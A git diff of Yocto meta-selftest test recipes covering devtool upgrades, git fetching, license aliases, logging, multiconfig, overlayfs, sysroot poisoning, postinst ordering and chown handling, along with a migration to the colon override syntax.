+LIC_FILES_CHKSUM = "file://doc/COPYING;md5=9c50db2589ee3ef10a9b7b2e50ce1d02"
+
+SRC_URI = "http://www.ivarch.com/programs/sources/pv-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "http://www.ivarch.com/programs/pv.shtml"
+RECIPE_NO_UPDATE_REASON = "This recipe is used to test devtool upgrade feature"
+
+SRC_URI[md5sum] = "9365d86bd884222b4bf1039b5a9ed1bd"
+SRC_URI[sha1sum] = "63a0801350e812541c7f8e9ad74e0d6b629d0b39"
+SRC_URI[sha256sum] = "681bcca9784bf3cb2207e68236d1f68e2aa7b80f999b5750dc77dcd756e81fbc"
+SRC_URI[sha384sum] = "5fff6390465ff23dbf573fcf39dfad3aed2f92074a35e6c02abe58b7678858d90fa6572ff4cb56df8b3e217c739cdbe3"
+SRC_URI[sha512sum] = "32efe7071a363f547afc74e96774f711795edda1d2702823a347d0f9953e859b7d8c45b3e63e18ffb9e0d5ed5910be652d7d727c8676e81b6cb3aed0b13aec00"
+
+PR = "r5"
+
+S = "${WORKDIR}/pv-${PV}"
+
+EXCLUDE_FROM_WORLD = "1"
+
+inherit autotools
+
diff --git a/meta-selftest/recipes-test/devtool/devtool-upgrade-test4_1.5.3.bb.upgraded b/meta-selftest/recipes-test/devtool/devtool-upgrade-test4_1.5.3.bb.upgraded
new file mode 100644
index 0000000000..cd2a0842f4
--- /dev/null
+++ b/meta-selftest/recipes-test/devtool/devtool-upgrade-test4_1.5.3.bb.upgraded
@@ -0,0 +1,19 @@
+SUMMARY = "Pipe viewer test recipe for devtool upgrade test"
+LICENSE = "Artistic-2.0"
+LIC_FILES_CHKSUM = "file://doc/COPYING;md5=9c50db2589ee3ef10a9b7b2e50ce1d02"
+
+SRC_URI = "http://www.ivarch.com/programs/sources/pv-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "http://www.ivarch.com/programs/pv.shtml"
+RECIPE_NO_UPDATE_REASON = "This recipe is used to test devtool upgrade feature"
+
+SRC_URI[sha1sum] = "395ce62f4f3e035b86c77038f04b96c5aa233595"
+SRC_URI[sha256sum] = "9dd45391806b0ed215abee4c5ac1597d018c386fe9c1f5afd2f6bc3b07fd82c3"
+SRC_URI[sha384sum] = "218c8d2d097aeba5310be759bc20573f18ffa0b11701eac6dd2e7e14ddf13c6e0e094ca7ca026eaa05ef92a056402e36"
+SRC_URI[sha512sum] = "1cf9d7376fceefcd594d0a8b591afc8e11ce89f7210d10ad74438974ecebe9cc5d9ec4db9cc79e0566bfd2b0278c0cc263c07547803e7536432cd1ffd32d8a45"
+
+S = "${WORKDIR}/pv-${PV}"
+
+EXCLUDE_FROM_WORLD = "1"
+
+inherit autotools
+
diff --git a/meta-selftest/recipes-test/gcc-source/gcc-source_%.bbappend b/meta-selftest/recipes-test/gcc-source/gcc-source_%.bbappend
new file mode 100644
index 0000000000..205720982c
--- /dev/null
+++ b/meta-selftest/recipes-test/gcc-source/gcc-source_%.bbappend
@@ -0,0 +1,2 @@
+# This bbappend is used to alter the recipe using the test_recipe.inc file created by tests.
+include test_recipe.inc
diff --git a/meta-selftest/recipes-test/git-submodule-test/git-submodule-test.bb b/meta-selftest/recipes-test/git-submodule-test/git-submodule-test.bb
index 08089b4186..90d9b66b2c 100644
--- a/meta-selftest/recipes-test/git-submodule-test/git-submodule-test.bb
+++ b/meta-selftest/recipes-test/git-submodule-test/git-submodule-test.bb
@@ -1,8 +1,26 @@
SUMMARY = "Test recipe for fetching git submodules"
+HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/git-submodule-test/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
INHIBIT_DEFAULT_DEPS = "1"
-SRC_URI = "gitsm://git.yoctoproject.org/git-submodule-test"
+UPSTREAM_VERSION_UNKNOWN = "1"
+
+SRC_URI = "gitsm://git.yoctoproject.org/git-submodule-test;branch=master"
SRCREV = "a2885dd7d25380d23627e7544b7bbb55014b16ee"
+
+S = "${WORKDIR}/git"
+
+do_test_git_as_user() {
+ cd ${S}
+ git status
+}
+addtask test_git_as_user after do_unpack
+
+fakeroot do_test_git_as_root() {
+ cd ${S}
+ git status
+}
+do_test_git_as_root[depends] += "virtual/fakeroot-native:do_populate_sysroot"
+addtask test_git_as_root after do_unpack
diff --git a/meta-selftest/recipes-test/gitrepotest/gitrepotest.bb b/meta-selftest/recipes-test/gitrepotest/gitrepotest.bb
new file mode 100644
index 0000000000..f1b6c55833
--- /dev/null
+++ b/meta-selftest/recipes-test/gitrepotest/gitrepotest.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Test recipe for git repo initialization"
+HOMEPAGE = "https://git.yoctoproject.org/git/matchbox-panel-2"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+INHIBIT_DEFAULT_DEPS = "1"
+
+PATCHTOOL="git"
+
+SRC_URI = "git://git.yoctoproject.org/git/matchbox-panel-2;branch=master;protocol=https \
+ file://0001-testpatch.patch \
+ "
+
+SRCREV = "f82ca3f42510fb3ef10f598b393eb373a2c34ca7"
+
+S = "${WORKDIR}/git"
diff --git a/meta-selftest/recipes-test/gitrepotest/gitrepotest/0001-testpatch.patch b/meta-selftest/recipes-test/gitrepotest/gitrepotest/0001-testpatch.patch
new file mode 100644
index 0000000000..bccda17ee9
--- /dev/null
+++ b/meta-selftest/recipes-test/gitrepotest/gitrepotest/0001-testpatch.patch
@@ -0,0 +1,9 @@
+diff --git a/Makefile.am b/Makefile.am
+index 432a9b4..bbf7c74 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -1,3 +1,4 @@
++## This is useless comment to test if patch works
+ ACLOCAL_AMFLAGS = -I m4
+
+ SUBDIRS = matchbox-panel applets data po
diff --git a/meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline-fail.bb b/meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline-fail.bb
new file mode 100644
index 0000000000..5146129666
--- /dev/null
+++ b/meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline-fail.bb
@@ -0,0 +1,4 @@
+require gitunpackoffline.inc
+
+# Clear the base.bbclass magic srcrev call
+fetcher_hashes_dummyfunc[vardepvalue] = ""
diff --git a/meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline.bb b/meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline.bb
new file mode 100644
index 0000000000..d9a54690b2
--- /dev/null
+++ b/meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline.bb
@@ -0,0 +1,5 @@
+require gitunpackoffline.inc
+
+TAGVALUE = "2.11"
+
+PV = "0.0+git"
diff --git a/meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline.inc b/meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline.inc
new file mode 100644
index 0000000000..602e895199
--- /dev/null
+++ b/meta-selftest/recipes-test/gitunpackoffline/gitunpackoffline.inc
@@ -0,0 +1,16 @@
+SUMMARY = "Test recipe for fetching git submodules"
+HOMEPAGE = "https://git.yoctoproject.org/git/matchbox-panel-2"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+INHIBIT_DEFAULT_DEPS = "1"
+
+TAGVALUE = "2.10"
+
+# Deliberately have a tag which has to be resolved but ensure do_unpack doesn't access the network again.
+SRC_URI = "git://git.yoctoproject.org/git/matchbox-panel-2;branch=master;protocol=https"
+SRC_URI:append:gitunpack-enable-recipe = ";tag=${TAGVALUE}"
+SRCREV = "f82ca3f42510fb3ef10f598b393eb373a2c34ca7"
+SRCREV:gitunpack-enable-recipe = ""
+
+S = "${WORKDIR}/git"
diff --git a/meta-selftest/recipes-test/images/oe-selftest-image.bb b/meta-selftest/recipes-test/images/oe-selftest-image.bb
index 5d4d10eef6..317a0712aa 100644
--- a/meta-selftest/recipes-test/images/oe-selftest-image.bb
+++ b/meta-selftest/recipes-test/images/oe-selftest-image.bb
@@ -1,6 +1,7 @@
SUMMARY = "An image used during oe-selftest tests"
-IMAGE_INSTALL = "packagegroup-core-boot dropbear"
+# libudev is needed for deploy mdadm via devtool
+IMAGE_INSTALL = "packagegroup-core-boot packagegroup-core-ssh-dropbear libudev"
IMAGE_FEATURES = "debug-tweaks"
IMAGE_LINGUAS = " "
diff --git a/meta-selftest/recipes-test/images/wic-image-minimal.bb b/meta-selftest/recipes-test/images/wic-image-minimal.bb
index e1da203b59..84d3721885 100644
--- a/meta-selftest/recipes-test/images/wic-image-minimal.bb
+++ b/meta-selftest/recipes-test/images/wic-image-minimal.bb
@@ -6,7 +6,10 @@ IMAGE_INSTALL = "packagegroup-core-boot"
IMAGE_FSTYPES = "wic"
-WKS_FILE_DEPENDS = "syslinux syslinux-native dosfstools-native mtools-native gptfdisk-native"
+WKS_FILE_DEPENDS = "dosfstools-native mtools-native gptfdisk-native"
+WKS_FILE_DEPENDS:append:x86 = " syslinux-native syslinux"
+WKS_FILE_DEPENDS:append:x86-64 = " syslinux-native syslinux"
+WKS_FILE_DEPENDS:append:x86-x32 = " syslinux-native syslinux"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
diff --git a/meta-selftest/recipes-test/license/incompatible-license-alias.bb b/meta-selftest/recipes-test/license/incompatible-license-alias.bb
index e0b4e13c26..1af99e7809 100644
--- a/meta-selftest/recipes-test/license/incompatible-license-alias.bb
+++ b/meta-selftest/recipes-test/license/incompatible-license-alias.bb
@@ -1,3 +1,5 @@
SUMMARY = "Recipe with an alias of an SPDX license"
DESCRIPTION = "Is licensed with an alias of an SPDX license to be used for testing"
LICENSE = "GPLv3"
+
+EXCLUDE_FROM_WORLD = "1"
diff --git a/meta-selftest/recipes-test/license/incompatible-license.bb b/meta-selftest/recipes-test/license/incompatible-license.bb
index 1728ad76b7..6fdc58fd30 100644
--- a/meta-selftest/recipes-test/license/incompatible-license.bb
+++ b/meta-selftest/recipes-test/license/incompatible-license.bb
@@ -1,3 +1,5 @@
SUMMARY = "Recipe with an SPDX license"
DESCRIPTION = "Is licensed with an SPDX license to be used for testing"
-LICENSE = "GPL-3.0"
+LICENSE = "GPL-3.0-only"
+
+EXCLUDE_FROM_WORLD = "1"
diff --git a/meta-selftest/recipes-test/license/incompatible-licenses.bb b/meta-selftest/recipes-test/license/incompatible-licenses.bb
index 9c1545efba..47bd8d7c00 100644
--- a/meta-selftest/recipes-test/license/incompatible-licenses.bb
+++ b/meta-selftest/recipes-test/license/incompatible-licenses.bb
@@ -1,3 +1,5 @@
SUMMARY = "Recipe with multiple SPDX licenses"
DESCRIPTION = "Is licensed with multiple SPDX licenses to be used for testing"
-LICENSE = "GPL-2.0 & GPL-3.0 & LGPL-3.0"
+LICENSE = "GPL-2.0-only & GPL-3.0-only & LGPL-3.0-only"
+
+EXCLUDE_FROM_WORLD = "1"
diff --git a/meta-selftest/recipes-test/license/incompatible-nonspdx-license.bb b/meta-selftest/recipes-test/license/incompatible-nonspdx-license.bb
index 35af0966ef..142d73158e 100644
--- a/meta-selftest/recipes-test/license/incompatible-nonspdx-license.bb
+++ b/meta-selftest/recipes-test/license/incompatible-nonspdx-license.bb
@@ -1,3 +1,5 @@
SUMMARY = "Recipe with a non-SPDX license"
DESCRIPTION = "Is licensed with a non-SPDX license to be used for testing"
LICENSE = "FooLicense"
+
+EXCLUDE_FROM_WORLD = "1"
diff --git a/meta-selftest/recipes-test/logging-test/logging-test.bb b/meta-selftest/recipes-test/logging-test/logging-test.bb
new file mode 100644
index 0000000000..ac3fb46f45
--- /dev/null
+++ b/meta-selftest/recipes-test/logging-test/logging-test.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Destined to fail"
+LICENSE = "CLOSED"
+
+deltask do_patch
+INHIBIT_DEFAULT_DEPS = "1"
+
+do_shelltest() {
+ echo "This is shell stdout"
+ echo "This is shell stderr" >&2
+ exit 1
+}
+addtask do_shelltest
+
+python do_pythontest_exec_func_shell() {
+ bb.build.exec_func('do_shelltest', d)
+}
+addtask do_pythontest_exec_func_shell
+
+python do_pythontest_exit () {
+ print("This is python stdout")
+ sys.exit(1)
+}
+addtask do_pythontest_exit
+
+python do_pythontest_exec_func_python() {
+ bb.build.exec_func('do_pythontest_exit', d)
+}
+addtask do_pythontest_exec_func_python
+
+python do_pythontest_fatal () {
+ print("This is python fatal test stdout")
+ bb.fatal("This is a fatal error")
+}
+addtask do_pythontest_fatal
diff --git a/meta-selftest/recipes-test/multiconfig/multiconfig-image-packager_0.1.bb b/meta-selftest/recipes-test/multiconfig/multiconfig-image-packager_0.1.bb
index a76a6bea1b..d7785cee2e 100644
--- a/meta-selftest/recipes-test/multiconfig/multiconfig-image-packager_0.1.bb
+++ b/meta-selftest/recipes-test/multiconfig/multiconfig-image-packager_0.1.bb
@@ -1,21 +1,25 @@
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-MCMACHINE_virtclass-mcextend-musl = "qemux86-64"
-MCMACHINE_virtclass-mcextend-tiny = "qemux86"
-MCIMGTYPE_virtclass-mcextend-musl = "ext4"
-MCIMGTYPE_virtclass-mcextend-tiny = "cpio.gz"
+MCMACHINE:virtclass-mcextend-musl = "qemux86-64"
+MCMACHINE:virtclass-mcextend-tiny = "qemux86"
+MCIMGTYPE:virtclass-mcextend-musl = "ext4"
+MCIMGTYPE:virtclass-mcextend-tiny = "cpio.gz"
MC_DEPLOY_DIR_IMAGE = "${TOPDIR}/tmp-mc-${MCNAME}/deploy/images/${MCMACHINE}"
+MC_DEPLOY_IMAGE_BASENAME = "core-image-minimal"
do_install[mcdepends] += "mc::${MCNAME}:core-image-minimal:do_image_complete mc::${MCNAME}:virtual/kernel:do_deploy"
do_install () {
install -d ${D}/var/lib/machines/${MCNAME}
- install ${MC_DEPLOY_DIR_IMAGE}/core-image-minimal-${MCMACHINE}.${MCIMGTYPE} ${D}/var/lib/machines/${MCNAME}/core-image-minimal.${MCIMGTYPE}
+ install ${MC_DEPLOY_DIR_IMAGE}/${IMAGE_LINK_NAME_CORE_IMAGE_MINIMAL}.${MCIMGTYPE} ${D}/var/lib/machines/${MCNAME}/${MC_DEPLOY_IMAGE_BASENAME}.${MCIMGTYPE}
install ${MC_DEPLOY_DIR_IMAGE}/bzImage ${D}/var/lib/machines/${MCNAME}
}
+# for IMAGE_LINK_NAME, IMAGE_BASENAME
+inherit image-artifact-names
+
python () {
mcname = d.getVar('MCNAME')
if not mcname:
@@ -23,6 +27,18 @@ python () {
multiconfigs = d.getVar('BBMULTICONFIG') or ""
if mcname not in multiconfigs:
raise bb.parse.SkipRecipe("multiconfig target %s not enabled" % mcname)
+
+ # these will most likely start with my BPN multiconfig-image-packager, but I want them from core-image-minimal
+ # as there is no good way to query core-image-minimal's context lets assume that there are no overrides
+ # and that we can just replace IMAGE_BASENAME
+ image_link_name = d.getVar('IMAGE_LINK_NAME')
+ image_basename = d.getVar('IMAGE_BASENAME')
+ machine = d.getVar('MACHINE')
+ mcmachine = d.getVar('MCMACHINE')
+ image_to_deploy = d.getVar('MC_DEPLOY_IMAGE_BASENAME')
+ image_link_name_to_deploy = image_link_name.replace(image_basename, image_to_deploy).replace(machine, mcmachine)
+ bb.warn('%s: assuming that "%s" built for "%s" has IMAGE_LINK_NAME "%s"' % (d.getVar('PN'), mcmachine, image_to_deploy, image_link_name_to_deploy))
+ d.setVar('IMAGE_LINK_NAME_CORE_IMAGE_MINIMAL', image_link_name_to_deploy)
}
BBCLASSEXTEND = "mcextend:tiny mcextend:musl"
diff --git a/meta-selftest/recipes-test/overlayfs-user/overlayfs-user.bb b/meta-selftest/recipes-test/overlayfs-user/overlayfs-user.bb
new file mode 100644
index 0000000000..3b59e37619
--- /dev/null
+++ b/meta-selftest/recipes-test/overlayfs-user/overlayfs-user.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Overlayfs class unit test"
+DESCRIPTION = "Contains an overlayfs configuration"
+LICENSE = "MIT"
+
+INHIBIT_DEFAULT_DEPS = "1"
+EXCLUDE_FROM_WORLD = "1"
+
+inherit_defer ${@bb.utils.contains("DISTRO_FEATURES", "overlayfs", "overlayfs", "", d)}
+include test_recipe.inc
+
+OVERLAYFS_WRITABLE_PATHS[mnt-overlay] += "/usr/share/my-application"
+
+do_install() {
+ install -d ${D}/usr/share/my-application
+ install -d ${D}${sysconfdir}
+ echo "Original file in /etc" >> ${D}${sysconfdir}/lower-layer-test.txt
+}
+
+FILES:${PN} += "\
+ ${exec_prefix} \
+ ${sysconfdir} \
+"
diff --git a/meta-selftest/recipes-test/packagenameconflict/packagenameconflict.bb b/meta-selftest/recipes-test/packagenameconflict/packagenameconflict.bb
new file mode 100644
index 0000000000..5d19a4dd25
--- /dev/null
+++ b/meta-selftest/recipes-test/packagenameconflict/packagenameconflict.bb
@@ -0,0 +1,10 @@
+SUMMARY = "Test case that tries to rename a package to an existing one and fails"
+DESCRIPTION = "This generates a packaging error when a package is renamed to a pre-existing name"
+LICENSE = "MIT"
+
+# Add a new package ${PN}-renametest
+PACKAGES += "${PN}-renametest"
+# ... and try to rename the ${PN}-dev to the new ${PN}-renametest (conflict)
+PKG:${PN}-dev = "${PN}-renametest"
+
+EXCLUDE_FROM_WORLD = "1"
diff --git a/meta-selftest/recipes-test/perlcross/perlcross_%.bbappend b/meta-selftest/recipes-test/perlcross/perlcross_%.bbappend
new file mode 100644
index 0000000000..205720982c
--- /dev/null
+++ b/meta-selftest/recipes-test/perlcross/perlcross_%.bbappend
@@ -0,0 +1,2 @@
+# This bbappend is used to alter the recipe using the test_recipe.inc file created by tests.
+include test_recipe.inc
diff --git a/meta-selftest/recipes-test/poison/poison.bb b/meta-selftest/recipes-test/poison/poison.bb
new file mode 100644
index 0000000000..e9eee0cdba
--- /dev/null
+++ b/meta-selftest/recipes-test/poison/poison.bb
@@ -0,0 +1,20 @@
+SUMMARY = "Sysroot poisoning test"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+LICENSE = "MIT"
+
+inherit nopackages
+
+# This test confirms that compiling code that searches /usr/include for headers
+# will result in compiler errors. This recipe should will fail to build and
+# oe-selftest has a test that verifies that.
+do_compile() {
+ bbnote Testing preprocessor
+ echo "int main(int argc, char** argv) {}" | ${CPP} -I/usr/include -
+ bbnote Testing C compiler
+ echo "int main(int argc, char** argv) {}" | ${CC} -x c -I/usr/include -
+ bbnote Testing C++ compiler
+ echo "int main(int argc, char** argv) {}" | ${CC} -x c++ -I/usr/include -
+}
+
+EXCLUDE_FROM_WORLD = "1"
diff --git a/meta-selftest/recipes-test/postinst/postinst_1.0.bb b/meta-selftest/recipes-test/postinst/postinst_1.0.bb
index 913bfabf89..b936c4f44b 100644
--- a/meta-selftest/recipes-test/postinst/postinst_1.0.bb
+++ b/meta-selftest/recipes-test/postinst/postinst_1.0.bb
@@ -5,19 +5,19 @@ inherit allarch
PACKAGES = "${PN}-rootfs ${PN}-delayed-a ${PN}-delayed-b ${PN}-rootfs-failing"
-ALLOW_EMPTY_${PN}-rootfs = "1"
-ALLOW_EMPTY_${PN}-delayed-a = "1"
-ALLOW_EMPTY_${PN}-delayed-b = "1"
-ALLOW_EMPTY_${PN}-rootfs-failing = "1"
+ALLOW_EMPTY:${PN}-rootfs = "1"
+ALLOW_EMPTY:${PN}-delayed-a = "1"
+ALLOW_EMPTY:${PN}-delayed-b = "1"
+ALLOW_EMPTY:${PN}-rootfs-failing = "1"
-RDEPENDS_${PN}-delayed-a = "${PN}-rootfs"
-RDEPENDS_${PN}-delayed-b = "${PN}-delayed-a"
+RDEPENDS:${PN}-delayed-a = "${PN}-rootfs"
+RDEPENDS:${PN}-delayed-b = "${PN}-delayed-a"
TESTDIR = "${sysconfdir}/postinst-test"
# At rootfs time touch $TESTDIR/rootfs. Errors if the file already exists, or
# if the function runs on first boot.
-pkg_postinst_${PN}-rootfs () {
+pkg_postinst:${PN}-rootfs () {
set -e
if [ -z "$D" ]; then
@@ -36,7 +36,7 @@ pkg_postinst_${PN}-rootfs () {
# Depends on rootfs, delays until first boot, verifies that the rootfs file was
# written.
-pkg_postinst_ontarget_${PN}-delayed-a () {
+pkg_postinst_ontarget:${PN}-delayed-a () {
set -e
if [ ! -e ${TESTDIR}/rootfs ]; then
@@ -49,7 +49,7 @@ pkg_postinst_ontarget_${PN}-delayed-a () {
# Depends on delayed-a, delays until first boot, verifies that the delayed-a file was
# written. This verifies the ordering between delayed postinsts.
-pkg_postinst_ontarget_${PN}-delayed-b () {
+pkg_postinst_ontarget:${PN}-delayed-b () {
set -e
if [ ! -e ${TESTDIR}/delayed-a ]; then
@@ -62,7 +62,7 @@ pkg_postinst_ontarget_${PN}-delayed-b () {
# This scriptlet intentionally includes a bogus command in the middle to test
# that we catch and report such errors properly.
-pkg_postinst_${PN}-rootfs-failing () {
+pkg_postinst:${PN}-rootfs-failing () {
mkdir -p $D${TESTDIR}
touch $D${TESTDIR}/rootfs-before-failure
run_a_really_broken_command
diff --git a/meta-selftest/recipes-test/pseudo-pyc-test/pseudo-pyc-test.bb b/meta-selftest/recipes-test/pseudo-pyc-test/pseudo-pyc-test.bb
new file mode 100644
index 0000000000..12dc91a8f3
--- /dev/null
+++ b/meta-selftest/recipes-test/pseudo-pyc-test/pseudo-pyc-test.bb
@@ -0,0 +1,15 @@
+SUMMARY = "pseudo env test"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
+
+INHIBIT_DEFAULT_DEPS = "1"
+
+python do_compile() {
+ import pseudo_pyc_test1
+ print(pseudo_pyc_test1.STRING)
+}
+
+python do_install() {
+ import pseudo_pyc_test2
+ print(pseudo_pyc_test2.STRING)
+}
diff --git a/meta-selftest/recipes-test/recipetool/files/selftest-replaceme-src-globfile b/meta-selftest/recipes-test/recipetool/files/selftest-replaceme-src-globfile
deleted file mode 100644
index 1e20a2b03e..0000000000
--- a/meta-selftest/recipes-test/recipetool/files/selftest-replaceme-src-globfile
+++ /dev/null
@@ -1 +0,0 @@
-A file matched by a glob in SRC_URI
diff --git a/meta-selftest/recipes-test/recipetool/selftest-recipetool-appendfile.bb b/meta-selftest/recipes-test/recipetool/selftest-recipetool-appendfile.bb
index 7375c47933..e127b48b15 100644
--- a/meta-selftest/recipes-test/recipetool/selftest-recipetool-appendfile.bb
+++ b/meta-selftest/recipes-test/recipetool/selftest-recipetool-appendfile.bb
@@ -10,7 +10,6 @@ SRC_URI = "file://installscript.sh \
file://file1 \
file://add-file.patch \
file://subdir \
- file://selftest-replaceme-src-glob* \
file://selftest-replaceme-inst-globfile \
file://selftest-replaceme-inst-todir-globfile \
file://selftest-replaceme-inst-func"
@@ -27,7 +26,6 @@ do_install() {
install -m 0644 ${WORKDIR}/selftest-replaceme-todir ${D}${datadir}
install -m 0644 ${WORKDIR}/file1 ${D}${datadir}/selftest-replaceme-renamed
install -m 0644 ${WORKDIR}/subdir/fileinsubdir ${D}${datadir}/selftest-replaceme-subdir
- install -m 0644 ${WORKDIR}/selftest-replaceme-src-globfile ${D}${datadir}/selftest-replaceme-src-globfile
cp ${WORKDIR}/selftest-replaceme-inst-glob* ${D}${datadir}/selftest-replaceme-inst-globfile
cp ${WORKDIR}/selftest-replaceme-inst-todir-glob* ${D}${datadir}
install -d ${D}${sysconfdir}
@@ -36,9 +34,9 @@ do_install() {
install_extrafunc
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
echo "Test file installed by postinst" > $D${datadir}/selftest-replaceme-postinst
}
-FILES_${PN} += "${datadir}"
+FILES:${PN} += "${datadir}"
diff --git a/meta-selftest/recipes-test/recipeutils/recipeutils-test_1.2.bb b/meta-selftest/recipes-test/recipeutils/recipeutils-test_1.2.bb
index 0cd0494da8..ad9f475d15 100644
--- a/meta-selftest/recipes-test/recipeutils/recipeutils-test_1.2.bb
+++ b/meta-selftest/recipes-test/recipeutils/recipeutils-test_1.2.bb
@@ -2,7 +2,7 @@ SUMMARY = "Test recipe for recipeutils.patch_recipe()"
require recipeutils-test.inc
-LICENSE = "Proprietary"
+LICENSE = "HPND"
LIC_FILES_CHKSUM = "file://${WORKDIR}/somefile;md5=d41d8cd98f00b204e9800998ecf8427e"
DEPENDS += "zlib"
@@ -10,4 +10,4 @@ BBCLASSEXTEND = "native nativesdk"
SRC_URI += "file://somefile"
-SRC_URI_append = " file://anotherfile"
+SRC_URI:append = " file://anotherfile"
diff --git a/meta-selftest/recipes-test/selftest-chown/selftest-chown.bb b/meta-selftest/recipes-test/selftest-chown/selftest-chown.bb
index 87bf9438b8..aa6ce0c2a0 100644
--- a/meta-selftest/recipes-test/selftest-chown/selftest-chown.bb
+++ b/meta-selftest/recipes-test/selftest-chown/selftest-chown.bb
@@ -3,12 +3,14 @@ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda
LICENSE = "MIT"
+DEPENDS += "coreutils-native"
+
S = "${WORKDIR}"
inherit useradd allarch
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "-u 1234 -M test"
+USERADD_PARAM:${PN} = "-u 1234 -M test"
TESTDIR = "${D}${sysconfdir}/selftest-chown"
do_install() {
@@ -16,10 +18,13 @@ do_install() {
install -d ${TESTDIR}/dir
touch ${TESTDIR}/file
ln -s ./file ${TESTDIR}/symlink
+ install -d ${TESTDIR}/fifotest
+ mkfifo ${TESTDIR}/fifotest/fifo
chown test:test ${TESTDIR}/file
chown -R test:test ${TESTDIR}/dir
chown -h test:test ${TESTDIR}/symlink
+ chown -R test:test ${TESTDIR}/fifotest
}
-FILES_${PN} = "${sysconfdir}/selftest-chown/*"
+FILES:${PN} = "${sysconfdir}/selftest-chown/*"
diff --git a/meta-selftest/recipes-test/selftest-ed/selftest-ed_0.5.bb b/meta-selftest/recipes-test/selftest-ed/selftest-ed_0.5.bb
index 4f713f5c0e..1a140a532f 100644
--- a/meta-selftest/recipes-test/selftest-ed/selftest-ed_0.5.bb
+++ b/meta-selftest/recipes-test/selftest-ed/selftest-ed_0.5.bb
@@ -1,11 +1,10 @@
-SUMMARY = "Line-oriented text editor -- selftest GPLv2 version"
+SUMMARY = "Line-oriented text editor -- selftest GPL-2.0-or-later version"
HOMEPAGE = "http://www.gnu.org/software/ed/"
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=6ddd5335ef96fb858a138230af773710 \
file://main.c;beginline=1;endline=17;md5=36d4b85e5ae9028e918d1cc775c2475e"
-PR = "r2"
SRC_URI = "${SAVANNAH_GNU_MIRROR}/ed/ed-${PV}.tar.bz2"
SRC_URI[md5sum] = "4ee21e9dcc9b5b6012c23038734e1632"
@@ -17,8 +16,8 @@ S = "${WORKDIR}/ed-${PV}"
EXTRA_OECONF = "'CC=${CC}' 'CXX=${CXX}' 'CFLAGS=${CFLAGS}' 'CXXFLAGS=${CXXFLAGS}' 'CPPFLAGS=${CPPFLAGS}' 'LDFLAGS=${LDFLAGS}'"
-CONFIGUREOPTS_remove = "--disable-dependency-tracking"
-CONFIGUREOPTS_remove = "--disable-silent-rules"
-EXTRA_OECONF_remove = "--disable-static"
+CONFIGUREOPTS:remove = "--disable-dependency-tracking"
+CONFIGUREOPTS:remove = "--disable-silent-rules"
+EXTRA_OECONF:remove = "--disable-static"
BBCLASSEXTEND = "native"
diff --git a/meta-selftest/recipes-test/selftest-ed/selftest-ed_1.14.1.bb b/meta-selftest/recipes-test/selftest-ed/selftest-ed_1.14.1.bb
index 08fb415d9d..b92740de32 100644
--- a/meta-selftest/recipes-test/selftest-ed/selftest-ed_1.14.1.bb
+++ b/meta-selftest/recipes-test/selftest-ed/selftest-ed_1.14.1.bb
@@ -1,7 +1,7 @@
SUMMARY = "Line-oriented text editor -- selftest variant"
HOMEPAGE = "http://www.gnu.org/software/ed/"
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7 \
file://ed.h;endline=20;md5=4e36b7a40e137f42aee718165590d125 \
file://main.c;endline=17;md5=c5b8f78f115df187af76868a2aead16a"
diff --git a/meta-selftest/recipes-test/selftest-hardlink/selftest-hardlink.bb b/meta-selftest/recipes-test/selftest-hardlink/selftest-hardlink.bb
index 842a9772cb..be346b8a0e 100644
--- a/meta-selftest/recipes-test/selftest-hardlink/selftest-hardlink.bb
+++ b/meta-selftest/recipes-test/selftest-hardlink/selftest-hardlink.bb
@@ -25,6 +25,6 @@ do_install () {
dd if=/dev/zero of=${D}${bindir}/sparsetest bs=1 count=0 seek=1M
}
-RDEPENDS_${PN}-gdb += "gdb"
+RDEPENDS:${PN}-gdb += "gdb"
PACKAGES =+ "${PN}-gdb"
-FILES_${PN}-gdb = "${bindir}/gdb.sh"
+FILES:${PN}-gdb = "${bindir}/gdb.sh"
diff --git a/meta-selftest/recipes-test/selftest-hello/files/helloworld.c b/meta-selftest/recipes-test/selftest-hello/files/helloworld.c
new file mode 100644
index 0000000000..fc7169b7b8
--- /dev/null
+++ b/meta-selftest/recipes-test/selftest-hello/files/helloworld.c
@@ -0,0 +1,8 @@
+#include <stdio.h>
+
+int main(void)
+{
+ printf("Hello world!\n");
+
+ return 0;
+}
